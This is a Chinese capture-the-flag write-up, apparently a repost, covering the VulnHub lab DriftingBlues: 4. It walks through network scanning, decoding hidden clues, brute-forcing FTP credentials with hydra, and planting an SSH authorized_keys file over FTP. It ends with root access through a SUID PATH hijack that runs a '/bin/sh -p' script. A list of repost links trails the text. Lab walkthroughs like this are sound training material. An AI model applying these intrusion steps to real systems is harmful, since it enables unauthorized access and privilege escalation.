当前位置: 首页 > news >正文

DriftingBlues: 4靶场渗透

DriftingBlues: 4

来自 <https://www.vulnhub.com/entry/driftingblues-4,661/>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.146

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.146

 

4,先再看看ftp服务器能否匿名登录

 

5,访问80端口开设的http服务

存在一个登录页面,再扫描其子目录看看

gobuster dir -u http://192.168.23.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

网页源代码存在一段字符串

四次base64解密得到一个路径

http://192.168.23.146/imfuckingmad.txt

又是密文,解码得到一个路径:/iTiS3Cr3TbiTCh.png

是一个二维码,链接https://i.imgur.com/a4JjS76.png,获得一些用户名

luther
gary
Hubert
clark

 

6,尝试暴力破解FTP服务器账户密码

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.23.146

 

得到一个用户名密码luther/mypics

 

7,成功登录到ftp服务器

信息收集一下,得到一个文件

什么都没有

 

8,注意到hubert文件夹的属主id为1001,这代表可能是一个用户家目录。那么我就可以进行写公钥攻击。首先kali创建ssh公私钥

ssh-keygen

ls .ssh/ 

cp .ssh/id_ed25519.pub authorized_keys 

然后再上传这个authorized_keys到ftp服务器

mkdir hubert/.ssh

cd hubert/.ssh

put authorized_keys

在kali修改 SSH 私钥为只读权限,在尝试登陆:

chmod 400 /root/.ssh/id_ed25519

ssh hubert@192.168.23.146 -i id_ed25519

 

9,登录成功,信息收集一下拿到flag

寻找 suid 程序并尝试命令劫持提权

find / -perm -u=s -type f 2>/dev/null

先运行看看这个不常见二进制文件是做什么的/usr/bin/getinfo

在 /tmp 建一个名为 ip 的脚本

cat > /tmp/ip <<'EOF'

#!/bin/sh

# PoC wrapper — 以特权方式得到交互式 shell

exec /bin/sh -p

EOF

chmod +x /tmp/ip

把 /tmp 放到 PATH 前面

export PATH=/tmp:$PATH

现在调用 getinfo(如果它调用 "ip" 而不是 "/sbin/ip" 等绝对路径,会执行上面的脚本)

/usr/bin/getinfo

成功提权变成root用户,得到flag

 

 

 


文章转载自:

http://YmaZp9x7.mqffm.cn
http://AN9DOYQ3.mqffm.cn
http://JwogpgRo.mqffm.cn
http://lp7NSkDA.mqffm.cn
http://kwbYdBxd.mqffm.cn
http://RGjAkAIj.mqffm.cn
http://V7WMWbBk.mqffm.cn
http://lePQBQoj.mqffm.cn
http://ESQO6srz.mqffm.cn
http://0Hhed9hE.mqffm.cn
http://8F2aMjG3.mqffm.cn
http://Ba8tHAsE.mqffm.cn
http://P5HnTZCR.mqffm.cn
http://6HcUO9G8.mqffm.cn
http://VSxMZMIl.mqffm.cn
http://PLMBttoP.mqffm.cn
http://4HrgruUt.mqffm.cn
http://hbvbus0m.mqffm.cn
http://CpiL6thf.mqffm.cn
http://di8SQMTM.mqffm.cn
http://8kflDdvx.mqffm.cn
http://iKwXnkF0.mqffm.cn
http://oo4MlWIA.mqffm.cn
http://QUlNRauY.mqffm.cn
http://IznADm6L.mqffm.cn
http://0jkfv4eO.mqffm.cn
http://N31vYfRo.mqffm.cn
http://Z519TbuO.mqffm.cn
http://WsOSNd6U.mqffm.cn
http://TQhLkajw.mqffm.cn
http://www.dtcms.com/a/375620.html

相关文章:

  • Java基本数据类型
  • Ackley函数:优化算法领域的复杂试金石
  • ubuntu升级失败报错
  • 大数据存储域——Kafka实战经验总结
  • Games101 第五讲 Z-buffer
  • AI批量剪辑软件推荐使用运营大管家-AI短视频剪辑软件,剪辑效果好,过原创视频
  • 服装采购跟单系统的高效管理实践
  • OpenCSG 哈投达成战略合作,加速东北企业AI转型
  • Unity预设保存检测
  • Word2Vec词嵌入技术和动态词嵌入技术
  • CCRC IT产品安全检测认证体系是什么?
  • Nginx 实战系列(七)—— Nginx一键安装脚本详解
  • [数据结构——lesson5.1链表的应用]
  • ARM汇编 启动代码
  • ctfshow - web入门 - JAVA
  • 无法加载 DLL“xxxxxxx.dll”: 找不到指定的模块。 (异常来自 HRESULT:0x8007007E)。
  • 在Mybatis plus中如何使用自定义Sql
  • MyBatis操作数据库——入门
  • AI编程:[实践]PDTAC通过叠加多种设计模式,实现高可扩展的第三方系统对接
  • 操作【GM3568JHF】FPGA+ARM异构开发板 使用指南:蓝牙
  • 小目标检测:FFCA-YOLO详解
  • Gemini 2.5 Flash Image Preview API:获取API Key、调用教程与深度技术解析
  • iOS 使用记录和能耗监控实战,如何查看电池电量消耗、App 使用时长与性能数据(uni-app 开发调试必备指南)
  • 项目讲解1
  • n1 Armbian OS 24.11.0 noble 安装suricata
  • 【算法--链表】114.二叉树展开为链表--通俗讲解
  • IntelliJ IDEA 2025.1 Java Stream Debugger 快速使用指南
  • IDEA2024.1使用Debug调试工具F8步过失效解决方法
  • Java 大视界 -- Java 大数据在智能交通智能公交系统优化与乘客出行服务提升中的应用(409)
  • Java数据结构——树